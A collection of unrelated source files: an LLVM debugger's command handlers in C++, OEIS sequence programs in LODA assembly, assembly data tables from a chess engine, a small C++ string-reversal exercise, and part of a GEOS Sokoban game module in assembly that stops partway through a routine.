if ((int)LineNo < 1) LineNo = 1;
} else if (FirstPart[0] == '*') {
throw "Address expressions not supported as source locations!";
} else {
// Ok, check to see if this is just a line number.
std::string Saved = FirstPart;
try {
LineNo = getUnsignedIntegerOption("", Saved);
} catch (...) {
// Ok, it's not a valid line number. It must be a source-language
// entity name.
std::string Name = getToken(FirstPart);
if (!getToken(FirstPart).empty())
throw "Extra junk in line specifier after '" + Name + "'.";
SourceFunctionInfo *SFI =
getCurrentLanguage().lookupFunction(Name, getProgramInfo(),
TheRuntimeInfo);
if (SFI == 0)
throw "Unknown identifier '" + Name + "'.";
unsigned L, C;
SFI->getSourceLocation(L, C);
if (L == 0) throw "Could not locate '" + Name + "'!";
LineNo = L;
SourceFile = &SFI->getSourceFile().getSourceText();
return;
}
}
} else {
// Ok, this must be a filename qualified line number or function name.
// First, figure out the source filename.
std::string SourceFilename = getToken(FirstPart);
if (!getToken(FirstPart).empty())
throw "Invalid filename qualified source location!";
// Next, check to see if this is just a line number.
std::string Saved = SecondPart;
try {
LineNo = getUnsignedIntegerOption("", Saved);
} catch (...) {
// Ok, it's not a valid line number. It must be a function name.
throw "FIXME: Filename qualified function names are not support "
"as line specifiers yet!";
}
// Ok, we got the line number. Now check out the source file name to make
// sure it's all good. If it is, return it. If not, throw exception.
SourceFile =&getProgramInfo().getSourceFile(SourceFilename).getSourceText();
}
}
void CLIDebugger::listCommand(std::string &Options) {
if (!Dbg.isProgramLoaded())
throw "No program is loaded. Use the 'file' command.";
// Handle "list foo," correctly, by returning " " as the second token
Options += " ";
std::string FirstLineSpec = getToken(Options, ",");
std::string SecondLineSpec = getToken(Options, ",");
if (!getToken(Options, ",").empty())
throw "list command only expects two source location specifiers!";
// StartLine, EndLine - The starting and ending line numbers to print.
unsigned StartLine = 0, EndLine = 0;
if (SecondLineSpec.empty()) { // No second line specifier provided?
// Handle special forms like "", "+", "-", etc.
std::string TmpSpec = FirstLineSpec;
std::string Tok = getToken(TmpSpec);
if (getToken(TmpSpec).empty() && (Tok == "" || Tok == "+" || Tok == "-")) {
if (Tok == "+" || Tok == "") {
StartLine = LineListedEnd;
EndLine = StartLine + ListSize;
} else {
assert(Tok == "-");
StartLine = LineListedStart-ListSize;
EndLine = LineListedStart;
if ((int)StartLine <= 0) StartLine = 1;
}
} else {
// Must be a normal line specifier.
const SourceFile *File;
unsigned LineNo;
parseLineSpec(FirstLineSpec, File, LineNo);
// If the user only specified one file specifier, we should display
// ListSize lines centered at the specified line.
if (File != 0) CurrentFile = File;
StartLine = LineNo - (ListSize+1)/2;
if ((int)StartLine <= 0) StartLine = 1;
EndLine = StartLine + ListSize;
}
} else {
// Parse two line specifiers...
const SourceFile *StartFile, *EndFile;
unsigned StartLineNo, EndLineNo;
parseLineSpec(FirstLineSpec, StartFile, StartLineNo);
unsigned SavedLLE = LineListedEnd;
LineListedEnd = StartLineNo;
try {
parseLineSpec(SecondLineSpec, EndFile, EndLineNo);
} catch (...) {
LineListedEnd = SavedLLE;
throw;
}
// Inherit file specified by the first line spec if there was one.
if (EndFile == 0) EndFile = StartFile;
if (StartFile != EndFile)
throw "Start and end line specifiers are in different files!";
CurrentFile = StartFile;
StartLine = StartLineNo;
EndLine = EndLineNo+1;
}
assert((int)StartLine > 0 && (int)EndLine > 0 && StartLine <= EndLine &&
"Error reading line specifiers!");
// If there was no current file, and the user didn't specify one to list, we
// have an error.
if (CurrentFile == 0)
throw "There is no current file to list.";
// Remember for next time.
LineListedStart = StartLine;
LineListedEnd = StartLine;
for (unsigned LineNo = StartLine; LineNo != EndLine; ++LineNo) {
// Print the source line, unless it is invalid.
if (printSourceLine(LineNo))
break;
LineListedEnd = LineNo+1;
}
// If we didn't print any lines, find out why.
if (LineListedEnd == StartLine) {
// See if we can read line #0 from the file, if not, we couldn't load the
// file.
const char *LineStart, *LineEnd;
CurrentFile->getSourceLine(0, LineStart, LineEnd);
if (LineStart == 0)
throw "Could not load source file '" + CurrentFile->getFilename() + "'!";
else
std::cout << "<end of file>\n";
}
}
void CLIDebugger::setCommand(std::string &Options) {
std::string What = getToken(Options);
if (What.empty())
throw "set command expects at least two arguments.";
if (What == "args") {
parseProgramOptions(Options);
} else if (What == "language") {
std::string Lang = getToken(Options);
if (!getToken(Options).empty())
throw "set language expects one argument at most.";
if (Lang == "") {
std::cout << "The currently understood settings are:\n\n"
<< "local or auto Automatic setting based on source file\n"
<< "c Use the C language\n"
<< "c++ Use the C++ language\n"
<< "unknown Use when source language is not supported\n";
} else if (Lang == "local" || Lang == "auto") {
CurrentLanguage = 0;
} else if (Lang == "c") {
CurrentLanguage = &SourceLanguage::getCFamilyInstance();
} else if (Lang == "c++") {
CurrentLanguage = &SourceLanguage::getCPlusPlusInstance();
} else if (Lang == "unknown") {
CurrentLanguage = &SourceLanguage::getUnknownLanguageInstance();
} else {
throw "Unknown language '" + Lang + "'.";
}
} else if (What == "listsize") {
ListSize = getUnsignedIntegerOption("'set prompt' command", Options);
} else if (What == "prompt") {
// Include any trailing whitespace or other tokens, but not leading
// whitespace.
Prompt = getToken(Options); // Strip leading whitespace
Prompt += Options; // Keep trailing whitespace or other stuff
} else {
// FIXME: Try to parse this as a source-language program expression.
throw "Don't know how to set '" + What + "'!";
}
}
void CLIDebugger::showCommand(std::string &Options) {
std::string What = getToken(Options);
if (What.empty() || !getToken(Options).empty())
throw "show command expects one argument.";
if (What == "args") {
std::cout << "Argument list to give program when started is \"";
// FIXME: This doesn't print stuff correctly if the arguments have spaces in
// them, but currently the only way to get that is to use the --args command
// line argument. This should really handle escaping all hard characters as
// needed.
for (unsigned i = 0, e = Dbg.getNumProgramArguments(); i != e; ++i)
std::cout << (i ? " " : "") << Dbg.getProgramArgument(i);
std::cout << "\"\n";
} else if (What == "language") {
std::cout << "The current source language is '";
if (CurrentLanguage)
std::cout << CurrentLanguage->getSourceLanguageName();
else
std::cout << "auto; currently "
<< getCurrentLanguage().getSourceLanguageName();
std::cout << "'.\n";
} else if (What == "listsize") {
std::cout << "Number of source lines llvm-db will list by default is "
<< ListSize << ".\n";
} else if (What == "prompt") {
std::cout << "llvm-db's prompt is \"" << Prompt << "\".\n";
} else {
throw "Unknown show command '" + What + "'. Try 'help show'.";
}
}
void CLIDebugger::helpCommand(std::string &Options) {
// Print out all of the commands in the CommandTable
std::string Command = getToken(Options);
if (!getToken(Options).empty())
throw "help command takes at most one argument.";
// Getting detailed help on a particular command?
if (!Command.empty()) {
CLICommand *C = getCommand(Command);
std::cout << C->getShortHelp() << ".\n" << C->getLongHelp();
// If there are aliases for this option, print them out.
const std::vector<std::string> &Names = C->getOptionNames();
if (Names.size() > 1) {
std::cout << "The '" << Command << "' command is known as: '"
<< Names[0] << "'";
for (unsigned i = 1, e = Names.size(); i != e; ++i)
std::cout << ", '" << Names[i] << "'";
std::cout << "\n";
}
} else {
unsigned MaxSize = 0;
for (std::map<std::string, CLICommand*>::iterator I = CommandTable.begin(),
E = CommandTable.end(); I != E; ++I)
if (I->first.size() > MaxSize &&
I->first == I->second->getPrimaryOptionName())
MaxSize = I->first.size();
// Loop over all of the commands, printing the short help version
for (std::map<std::string, CLICommand*>::iterator I = CommandTable.begin(),
E = CommandTable.end(); I != E; ++I)
if (I->first == I->second->getPrimaryOptionName())
std::cout << I->first << std::string(MaxSize - I->first.size(), ' ')
<< " - " << I->second->getShortHelp() << "\n";
}
}
|
; A006463: Convolve natural numbers with characteristic function of triangular numbers.
; 0,0,1,2,4,6,8,11,14,17,20,24,28,32,36,40,45,50,55,60,65,70,76,82,88,94,100,106,112,119,126,133,140,147,154,161,168,176,184,192,200,208,216,224,232,240,249,258,267,276,285,294,303,312,321,330,340,350,360,370,380,390,400,410,420,430,440,451,462,473,484,495,506,517,528,539,550,561,572,584,596,608,620,632,644,656,668,680,692,704,716,728,741,754,767,780,793,806,819,832
lpb $0
add $2,1
sub $0,$2
add $1,$0
lpe
mov $0,$1
|
; Z80 test - officially documented flags, flags only version.
;
; Copyright (C) 2012 Patrik Rak (patrik@raxoft.cz)
;
; This source code is released under the MIT license, see included license.txt.
macro testname
db "DOC FLAGS"
endm
maskflags equ 1
onlyflags equ 1
postccf equ 0
memptr equ 0
include main.asm
; EOF ;
|
; todo: see if the order/alignment of these variables affects performance
align 16
Output rb 4096 ; output buffer has static allocation
if DEBUG = 1
DebugOutput rb 4096
end if
align 16
ioBuffer IOBuffer
if USE_WEAKNESS
align 16
weakness Weakness
end if
if USE_BOOK
align 16
book Book
end if
if USE_VARIETY
align 16
variety Variety
end if
align 16
options Options
align 16
time Time
align 16
signals Signals
align 16
limits Limits
align 16
easyMoveMng EasyMoveMng
align 16
mainHash MainHash
align 16
threadPool ThreadPool
;;;;;;;;;;;; data for move generation ;;;;;;;;;;;;;;;
align 4096
if CPU_HAS_BMI2 = 0
SlidingAttacksBB rq 89524
else
SlidingAttacksBB rq 107648
end if
BishopAttacksPEXT rq 64 ; bitboards
BishopAttacksMOFF rd 64 ; addresses, only 32 bits needed
BishopAttacksPDEP rq 64 ; bitboards
RookAttacksPEXT rq 64 ; bitboards
RookAttacksMOFF rd 64 ; addresses, only 32 bits needed
RookAttacksPDEP rq 64 ; bitboards
if CPU_HAS_BMI2 = 0
BishopAttacksIMUL rq 64
RookAttacksIMUL rq 64
end if
PawnAttacks:
WhitePawnAttacks rq 64 ; bitboards
BlackPawnAttacks rq 64 ; bitboards
KnightAttacks rq 64 ; bitboards
KingAttacks rq 64 ; bitboards
;;;;;;;;;;;;;;;;;;; bitboards ;;;;;;;;;;;;;;;;;;;;;
align 4096
BetweenBB rq 64*64
LineBB rq 64*64
SquareDistance rb 64*64
DistanceRingBB rq 8*64
ForwardBB rq 2*64
PawnAttackSpan rq 2*64
PassedPawnMask rq 2*64
InFrontBB rq 2*8
AdjacentFilesBB rq 8
FileBB rq 8
RankBB rq 8
;;;;;;;;;;;;;;;;;;;; DoMove data ;;;;;;;;;;;;;;;;;;;;;;;;
align 64
Scores_Pieces: rq 16*64
Zobrist_Pieces: rq 16*64
Zobrist_Castling: rq 16
Zobrist_Ep: rq 8
Zobrist_side: rq 1
Zobrist_noPawns: rq 1
PieceValue_MG: rd 16
PieceValue_EG: rd 16
IsNotPawnMasks: rb 16
IsNotPieceMasks: rb 16
IsPawnMasks: rb 16
;;;;;;;;;;;;;;;;;;;; data for search ;;;;;;;;;;;;;;;;;;;;;;;
align 4096
Reductions rd 2*2*64*64
FutilityMoveCounts rd 16*2
RazorMargin rd 4
_CaptureOrPromotion_or rb 4
_CaptureOrPromotion_and rb 4
DrawValue rd 2 ; it is updated when threads start to think
;;;;;;;;;;;;;;;;;;;; data for evaluation ;;;;;;;;;;;;;;;;;;;;
align 64
Connected rd 2*2*3*8
MobilityBonus_Knight rd 16
MobilityBonus_Bishop rd 16
MobilityBonus_Rook rd 16
MobilityBonus_Queen rd 32
Lever rd 8
ShelterWeakness:
ShelterWeakness_No rd 8*8
ShelterWeakness_Yes rd 8*8
StormDanger:
StormDanger_NoFriendlyPawn rd 8*8
StormDanger_Unblocked rd 8*8
StormDanger_BlockedByPawn rd 8*8
StormDanger_BlockedByKing rd 8*8
KingFlank rq 8
Threat_Minor rd 16
Threat_Rook rd 16
PassedRank rd 8
PassedFile rd 8
DoMaterialEval_Data:
.QuadraticOurs: rd 8*6
.QuadraticTheirs: rd 8*6
PawnsSet rd 16
QueenMinorsImbalance rd 16
;;;;;;;;;;;;;; data for endgames ;;;;;;;;;;;;;;
align 64
EndgameEval_Map rb 2*ENDGAME_EVAL_MAX_INDEX*sizeof.EndgameMapEntry
EndgameScale_Map rb 2*ENDGAME_SCALE_MAX_INDEX*sizeof.EndgameMapEntry
EndgameEval_FxnTable rd ENDGAME_EVAL_MAX_INDEX
EndgameScale_FxnTable rd ENDGAME_SCALE_MAX_INDEX
KPKEndgameTable rq 48*64
PushToEdges rb 64
PushToCorners rb 64
PushClose rb 8
PushAway rb 8
if USE_SYZYGY
align 4096
Tablebase_MaxCardinality rd 1
Tablebase_Cardinality rd 1
Tablebase_ProbeDepth rd 1
Tablebase_Score rd 1
Tablebase_RootInTB rb 1 ; boole 0 or -1
Tablebase_UseRule50 rb 1 ; boole 0 or -1
rb 2
rd 11
_ZL7pfactor:
rb 128
_ZL7pawnidx:
rb 512
_ZL8binomial:
rb 1280
_ZL9DTZ_table:
rq 1
L_333: rq 1
L_334: rq 184
L_335:
rb 24
L_336:
rb 16
L_337: rq 1
_ZL7TB_hash:
rb 81920
_ZL7TB_pawn:
rb 98304
_ZL8TB_piece:
rb 30480
_ZL10TBnum_pawn:
rd 1
_ZL11TBnum_piece:
rd 1
; let n = num_paths
; the paths are stored in paths[0],...,path[n-1]
; the counts of found tbs are stored in paths[n],...,paths[2n-1]
_ZL5paths:
rq 1
_ZL11path_string:
rq 1
_ZL9num_paths:
rd 1
_ZL11initialized:
rb 4
tb_total_cnt:
rd 1
align 16
_ZL8TB_mutex:
rq 6
end if
|
; A143131: Binomial transform of [1, 4, 10, 20, 0, 0, 0,...].
; 1,5,19,63,157,321,575,939,1433,2077,2891,3895,5109,6553,8247,10211,12465,15029,17923,21167,24781,28785,33199,38043,43337,49101,55355,62119,69413,77257,85671,94675,104289,114533,125427,136991,149245
mov $17,$0
mov $19,$0
add $19,1
lpb $19
clr $0,17
mov $0,$17
sub $19,1
sub $0,$19
mov $14,$0
mov $16,$0
add $16,1
lpb $16
clr $0,14
mov $0,$14
sub $16,1
sub $0,$16
mov $11,$0
mov $13,$0
add $13,1
lpb $13
mov $0,$11
sub $13,1
sub $0,$13
mul $0,5
trn $0,4
mov $2,1
mov $10,8
lpb $0
sub $0,$0
gcd $0,4
add $0,6
mov $2,$10
add $2,2
lpe
add $2,$0
add $12,$2
lpe
add $15,$12
lpe
add $18,$15
lpe
mov $1,$18
|
bgez $t8,else
sub $s0, $Zero,$t8
addi $t1,$t1,1
else:
ori $s0,$t8,0
addi $t2,$t2,1
next: |
; A212697: a(n) = 2*n*3^(n-1).
; 2,12,54,216,810,2916,10206,34992,118098,393660,1299078,4251528,13817466,44641044,143489070,459165024,1463588514,4649045868,14721978582,46490458680,146444944842,460255540932,1443528742014,4518872583696,14121476824050,44059007691036,137260754729766,427033459159272,1326853962387738,4117822641892980,12765250189868238,39531097362172608,122299332464221506,378016118525775564,1167402718976659830,3602271247127978904,11107003011977934954,34221576847715799588,105366433978493382942,324204412241518101360
mov $1,3
pow $1,$0
mul $0,$1
add $1,$0
mul $1,2
mov $0,$1
|
; A010099: a(n) = a(n-1)*a(n-2) with a(0)=1, a(1)=4.
; 1,4,4,16,64,1024,65536,67108864,4398046511104,295147905179352825856,1298074214633706907132624082305024,383123885216472214589586756787577295904684780545900544,497323236409786642155382248146820840100456150797347717440463976893159497012533375533056,190536410541747572716161940294993060653600960856016305594430966774009505543198585212421026798308836130360530463953040948208494609331560382464
seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
mov $1,4
pow $1,$0
mov $0,$1
|
; A212964: Number of (w,x,y) with all terms in {0,...,n} and |w-x| < |x-y| < |y-w|.
; 0,0,0,2,6,14,26,44,68,100,140,190,250,322,406,504,616,744,888,1050,1230,1430,1650,1892,2156,2444,2756,3094,3458,3850,4270,4720,5200,5712,6256,6834,7446,8094,8778,9500,10260,11060,11900,12782,13706,14674,15686,16744,17848,19000,20200,21450,22750,24102,25506,26964,28476,30044,31668,33350,35090,36890,38750,40672,42656,44704,46816,48994,51238,53550,55930,58380,60900,63492,66156,68894,71706,74594,77558,80600,83720,86920,90200,93562,97006,100534,104146,107844,111628,115500,119460,123510,127650,131882,136206,140624,145136,149744,154448,159250,164150,169150,174250,179452,184756,190164,195676,201294,207018,212850,218790,224840,231000,237272,243656,250154,256766,263494,270338,277300,284380,291580,298900,306342,313906,321594,329406,337344,345408,353600,361920,370370,378950,387662,396506,405484,414596,423844,433228,442750,452410,462210,472150,482232,492456,502824,513336,523994,534798,545750,556850,568100,579500,591052,602756,614614,626626,638794,651118,663600,676240,689040,702000,715122,728406,741854,755466,769244,783188,797300,811580,826030,840650,855442,870406,885544,900856,916344,932008,947850,963870,980070,996450,1013012,1029756,1046684,1063796,1081094,1098578,1116250,1134110,1152160,1170400,1188832,1207456,1226274,1245286,1264494,1283898,1303500,1323300,1343300,1363500,1383902,1404506,1425314,1446326,1467544,1488968,1510600,1532440,1554490,1576750,1599222,1621906,1644804,1667916,1691244,1714788,1738550,1762530,1786730,1811150,1835792,1860656,1885744,1911056,1936594,1962358,1988350,2014570,2041020,2067700,2094612,2121756,2149134,2176746,2204594,2232678,2261000,2289560,2318360,2347400,2376682,2406206,2435974,2465986,2496244,2526748,2557500
trn $1,$0
mul $0,2
mov $2,$0
bin $0,3
add $1,7
add $1,$0
sub $1,$2
div $1,16
mul $1,2
|
/**
* @file 0513.cpp
*
* @brief Input a text, it would output the reverse result.
*
* @example
* [Input]
* Taiwan
* [Output]
* nawiaT
*
* @author Jason Lin
*
* @date
* - Revision: Aug. 27, 2020
* - Orignial: May. 13, 2015
*
* @version 2.0.0
*
*/
#include <iostream>
int main() {
// Declare the varialbe
const int MAX_LEN(10000);
int text_len = 0;
char text[MAX_LEN];
// Preprocess
std::cout << "Please enter the text, it would reverse." << std::endl;
std::cout << "Your text: ";
std::cin.getline(text, MAX_LEN + 1, '\n');
// Logic
// Caculate the vaild array length
while(text[text_len]) {
text_len++;
}
// Output
for (int i = text_len - 1 ; i >= 0 ; i--) {
std::cout << text[i];
}
return 0;
}
|
; A170325: Number of reduced words of length n in Coxeter group on 28 generators S_i with relations (S_i)^2 = (S_i S_j)^42 = I.
; 1,28,756,20412,551124,14880348,401769396,10847773692,292889889684,7908027021468,213516729579636,5764951698650172,155653695863554644,4202649788315975388,113471544284531335476,3063731695682346057852
seq $0,3951 ; Expansion of g.f.: (1+x)/(1-8*x).
add $0,2
seq $0,191106 ; Increasing sequence generated by these rules: a(1)=1, and if x is in a then 3x-2 and 3x are in a.
sub $0,9
div $0,2
add $0,1
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992-1995. All rights reserved.
GEOWORKS CONFIDENTIAL
PROJECT: GEOS
MODULE: Sokoban
FILE: sokoban.asm
AUTHOR: Steve Yegge, June 30, 1992
ROUTINES:
Name Description
---- -----------
MTD MSG_META_KBD_CHAR Handles various keyboard characters.
INT SeeIfPlayerMoved Check if the keypress entailed a move, and
deal with it.
MTD MSG_MAP_SHIFT_MOVE User did a shift+direction.
MTD MSG_MAP_CONTROL_MOVE User did a ctrl+direction.
MTD MSG_VIS_DRAW Draws the currentMap on the screen.
INT ConvertTextMap Update currentMap based on the default map
for this level
INT ReadMapCommon Given a pointer to a text map, process and
use it.
INT DetermineWallType Figure out what kind of wall we're looking
at.
MTD MSG_SOKOBAN_ADVANCE_LEVEL
Moves to the next level
INT UpdateContentSize Make the content match the size of the
board and force the view to match it or
become scrollable
MTD MSG_SOKOBAN_REPLAY_LEVEL
User wants to replay a level.
MTD MSG_SOKOBAN_PLAY_EXTERNAL_LEVEL
User wants to play an external level
MTD MSG_SOKOBAN_PLAY_INTERNAL_LEVEL
Return to playing internal levels
MTD MSG_META_START_SELECT User is trying to move the little dude.
INT ConvertDocCoordsToMapIndices
Convert an (x, y) pixel position in the
document to an (x, y) location in the map.
INT CheckIfMovingMan See if they clicked on the little guy &
handle it.
INT CheckIfMovingBag See if they clicked a bag right next to
them.
MTD MSG_META_END_SELECT Quit moving the man.
MTD MSG_META_PTR User's dragging the mouse around.
INT CenterIcon Center the player in the middle of the
screen.
MTD MSG_MAP_VIEW_MAINTAIN_CONTEXT
Scroll the view to show the player.
MTD MSG_VIS_OPEN Create a gstate for drawing.
MTD MSG_VIS_CLOSE Destroy our drawing gstate.
INT CreateUsefulGState Create a gstate for drawing.
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 11/10/92 initial revision
DESCRIPTION:
High-level routines for playing the game. Should really
be called "sokobanPlay.asm".
$Id: sokoban.asm,v 1.1 97/04/04 15:13:01 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
;-----------------------------------------------------------------------------
; initialized data
;-----------------------------------------------------------------------------
idata segment
currentMap Map
saveMap Map
idata ends
;-----------------------------------------------------------------------------
; uninitialized Data
;----------------------------------------------------------------------------
udata segment
level word ; current level
internalLevel word ; last internal level played
moves word ; current moves
pushes word ; current pushes
; packets byte ; bags on this level
; saved byte ; current saved bags
gameState SokobanGameState
gstate hptr.GState
; position Point
nextPosition Point
nextNextPosition Point
tempSave TempSaveStruct
undoInfo UndoStruct
colorOption word
soundOption word
if HIGH_SCORES
;
; These 3 variables save the last level achieved by the user
; during this session, if any, and the numbers of moves and
; pushes they used on that level. When the file is closed,
; the high score code will check these values, and if they
; are nonzero, attempt to add the score to the list.
;
scoreLevel word
scoreMoves word
scorePushes word
endif
;
; These variables are used for drawing the bitmaps.
;
bitmapWidth word
bitmapHeight word
udata ends
;-----------------------------------------------------------------------------
; Code 'n' stuff
;-----------------------------------------------------------------------------
CommonCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MapKbdChar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handles various keyboard characters.
CALLED BY: MSG_META_KBD_CHAR
PASS: *ds:si = MapContentClass object
ds:di = MapContentClass instance data
cx = character value
dl = CharFlags
dh = ShiftState
bp low = ToggleState
bp high = scan code
RETURN: nothing
DESTROYED: ax, cx, dx, bp
PSEUDO CODE/STRATEGY:
- if they're releasing the key, quit
- if it's left, right, up or down arrow, call the move handler
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 11/9/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MapKbdChar method dynamic MapContentClass,
MSG_META_KBD_CHAR
;
; If they're releasing the key do nothing.
;
test dl, mask CF_RELEASE
jnz fup
;
; If we don't have a drawing gstate, bail.
;
tst es:[gstate]
jz fup
;
; See if they did some sort of movement. If so, we're done
;
call SeeIfPlayerMoved ; carry set if moved, so
jc done ; ...we swallow the keypress
;
; At this point, they've hit a key, and it's not a
; movement key. The only other ones we deal with are
; the standard sokoban shortcuts. If the character is not
; a plain vanilla character, pass it to the superclass
;
tst ch
jnz fup
;
; User typed in a regular ascii character (presumably)
;
mov ax, MSG_MAP_UNDO_MOVE
cmp cl, 'u'
je sendMessage
mov ax, MSG_MAP_UNDO_LEVEL
cmp cl, 'U'
je sendMessage
mov ax, MSG_MAP_SAVE_POSITION
cmp cl, 's'
je sendMessage
mov ax, MSG_MAP_RESTORE_POSITION
cmp cl, 'r'
je sendMessage
;
; The following shortcuts have not been implemented
;
if 0
mov ax, MSG_MAP_SAVE_GAME
cmp cl, 'S'
je sendMessage
mov ax, MSG_MAP_RESTORE_GAME
cmp cl, 'R'
je sendMessage
mov ax, MSG_MAP_NEW_GAME
cmp cl, 'N'
je sendMessage
endif
;
; We don't handle this keypress. Let someone else deal with it.
;
fup:
mov ax, MSG_META_FUP_KBD_CHAR
call ObjCallInstanceNoLock
done:
ret
sendMessage:
GOTO ObjCallInstanceNoLock
MapKbdChar endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SeeIfPlayerMoved
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check if the keypress entailed a move, and deal with it.
CALLED BY: MapKbdChar
PASS: *ds:si = MapContentClass object
ds:di = MapContentClass instance data
cx = character value
dl = CharFlags
dh = ShiftState
bp low = ToggleState
bp high = scan code
RETURN: carry set if they moved, clear otherwise
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
- if it's one of hjkl (vi movement keys) or an arrow key,
unmodified by control or shift, then it's a simple move
in that direction.
- if the control or shift key is down, it's a special type
of move.
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 7/ 9/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SeeIfPlayerMoved proc near
uses ax,bx,cx,dx,si,di,bp
.enter
;
; First find out which direction it was, if any, and
; save a MovementDirection enumeration.
;
cmp ch, CS_CONTROL
je checkControlSet
cmp cl, 'h' ; vi 'left'
je movedLeft
cmp cl, 'j' ; vi 'down'
je movedDown
cmp cl, 'k' ; vi 'up'
je movedUp
cmp cl, 'l' ; vi 'right'
je movedRight
;
; See if it was a shift move.
;
cmp cl, 'H'
je shiftLeft
cmp cl, 'J'
je shiftDown
cmp cl, 'K'
je shiftUp
cmp cl, 'L'
je shiftRight
jmp didntMove
checkControlSet:
cmp cl, VC_RIGHT
je movedRight
cmp cl, VC_LEFT
je movedLeft
cmp cl, VC_UP
je movedUp
cmp cl, VC_DOWN
je movedDown
cmp cl, VC_JOYSTICK_0
jb checkNumPad
cmp cl, VC_JOYSTICK_315
jbe joystick
checkNumPad:
;
; See if it was a shift move.
;
cmp cl, VC_NUMPAD_4
je shiftLeft
cmp cl, VC_NUMPAD_8
je shiftUp
cmp cl, VC_NUMPAD_6
je shiftRight
cmp cl, VC_NUMPAD_2
je shiftDown
jmp didntMove ; c ya
movedUp:
mov cx, MD_UP
jmp moved
movedDown:
mov cx, MD_DOWN
jmp moved
movedLeft:
mov cx, MD_LEFT
jmp moved
movedRight:
mov cx, MD_RIGHT
moved:
;
; OK, they moved in one of the four directions. See
; if it was a control move.
;
test dh, mask SS_LCTRL or mask SS_RCTRL
jnz controlMove
;
; It was a regular move. Call the move handler and return
; carry set to indicate we handled the keypress.
;
mov ax, MSG_MAP_PLAYER_MOVE
call ObjCallInstanceNoLock
stc
jmp done
shiftLeft:
mov cx, MD_LEFT
jmp shiftMove
shiftRight:
mov cx, MD_RIGHT
jmp shiftMove
shiftUp:
mov cx, MD_UP
jmp shiftMove
shiftDown:
mov cx, MD_DOWN
shiftMove:
;
; Call the special handler for shift-move.
;
mov ax, MSG_MAP_SHIFT_MOVE
call ObjCallInstanceNoLock
stc
jmp done
controlMove:
;
; Call the special handler for control-move.
;
mov ax, MSG_MAP_CONTROL_MOVE
doMove:
call ObjCallInstanceNoLock
stc
jmp done
didntMove:
clc
done:
.leave
ret
joystick:
mov ax, MD_RIGHT
cmp cl, VC_JOYSTICK_0
je joyMods
mov ax, MD_LEFT
cmp cl, VC_JOYSTICK_180
je joyMods
mov ax, MD_UP
cmp cl, VC_JOYSTICK_90
je joyMods
mov ax, MD_DOWN
cmp cl, VC_JOYSTICK_270
jne didntMove
joyMods:
mov_tr cx, ax ; cx <- move
mov ax, MSG_MAP_SHIFT_MOVE
test dh, mask SS_FIRE_BUTTON_1
jnz doMove
mov ax, MSG_MAP_CONTROL_MOVE
test dh, mask SS_FIRE_BUTTON_2
jnz doMove
mov ax, MSG_MAP_PLAYER_MOVE
jmp doMove
SeeIfPlayerMoved endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MapShiftMove
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User did a shift+direction.
CALLED BY: MSG_MAP_SHIFT_MOVE
PASS: *ds:si = MapContentClass object
ds:di = MapContentClass instance data
es = dgroup
cx = MovementDirection
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
- figure out how many times to move
- move that many times
This routine is more or less the same as control-move.
The only difference is that we move left or right until
we've hit a wall, or 2 bags (instead of a wall or 1 bag).
I could probably figure out a clever way to combine
these routines, since they are so similar, but I'm not
going to.
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 7/ 9/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MapShiftMove method dynamic MapContentClass,
MSG_MAP_SHIFT_MOVE
.enter
;
; Search the map in the direction of movement until we
; find a wall or bag (there has to be one or the other,
; since all maps are closed). Bag can be saved.
;
mov bx, es:[currentMap].M_header.MH_position.P_x
mov ax, es:[currentMap].M_header.MH_position.P_y ;(bx,ax) = pos
clr bp ; counter
clr dh ; bag counter
searchLoop:
cmp cx, MD_UP
jne notUp
dec ax ; move up by 1
jmp gotCoords
notUp:
cmp cx, MD_LEFT
jne notLeft
dec bx ; move left by 1
jmp gotCoords
notLeft:
cmp cx, MD_RIGHT
jne notRight
inc bx ; move right by 1
jmp gotCoords
notRight:
inc ax ; move down by 1
gotCoords:
push ax, bx ; current coords
call ConvertArrayCoordinates ; bx <- offset
mov dl, {byte} es:[currentMap+(size MapHeader)][bx]
pop ax, bx ; current coords
cmp dl, SST_WALL_NSEW ; wall?
jbe gotCount
cmp dl, SST_BAG ; bag?
jne maybeSavedBag
checkBag:
;
; They hit a bag. If they've hit one before, dh is nonzero.
;
tst dh ; hit one already?
jnz gotCount ; yep, start moving
mov dh, 1 ; record the fact that
jmp next ; they've hit a bag
maybeSavedBag:
